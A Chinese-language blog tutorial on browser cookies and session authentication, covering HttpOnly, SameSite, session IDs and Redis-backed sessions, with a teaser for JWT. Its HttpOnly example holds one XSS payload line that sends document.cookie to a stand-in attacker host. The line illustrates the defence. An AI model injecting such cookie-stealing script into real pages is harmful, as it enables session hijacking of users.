[关闭]
@hucheng91 2018-12-02T11:30:32.000000Z 字数 1972 阅读 789

cookie,session 认证

如果对 cookie 已经很熟悉了,可以跳过,这篇主要是为后面的做铺垫

网上已经说烂了,还不知道可以看MDN https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies

概要

虽然cookie 属性说烂了,列还是得列一下,主要关注 Domain , HttpOnly , SameSite
cooki_names.png-45.1kB

  1. httpOnly ==false;
  2. const cookie = document.cookie // "user_token=xxx"
  3. httpOnly ==true;
  4. const cookie = document.cookie // ""
  5. // 设置成 true 的时候 就可以防止部分Xss攻击
  6. new Image().src == "fuckxss.com?a="+document.cookie

cooki_flow.png-32.9kB

  1. 使用浏览器访问服务端页面;
  2. 服务端收到该客户端第一次请求后,会创建一个 session ,生产一个唯一 sessionId ;
  3. 同时在响应请求中设置 cookie ,属性名为jessionid;
  4. 客户端收到后会保存 jessionid ,再次请求时,会在 header 中设置,服务端可从请求头中获取;
  5. 服务端验证获取的 sessionId 是否存在,即可验证是否是同一用户;

当浏览器禁用 cookie 后,基于 cookie 的 session 将不能正常工作,每次都将创建一个新的 session ,可通过url重写传递 sessionid。

在网民不多,喷子还很少的年代,cookie seesion 是够用的,但是负载大了以后,比方微博这种,一个系统保存上亿的 seessionId,也是够够的,那是不是可以搞个负载均衡 ,把 sessionId 都存到 Redis 缓存,所有的机器都来访问这个地方的数据, 这样一来,就不用复制了, 但是增加了单点失败的可能性, 要是那个负责 session 的机器挂了, 所有人都得重新登录一遍, 估计得被人骂死。

image.png-62.9kB

怎么办? 有没有啥办法,我不存这些用户 sessionId,让浏览器自己管理起来么,JWT 小老弟,要出场了,下回讲JWT

Demo

放到github上了,有cookie 每个属性操作例子
Node.js写的,有清晰的注释,没写过Node.js的前端er也能看明白的,如果你平常对 cookie 的的理解都来源于文章,没实操过,建议把 Demo 自己来一遍

参考资料

cookie MDN介绍
JAVA 版 单点登录与权限管理本质:session和cookie介绍
干掉状态:从session到token

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注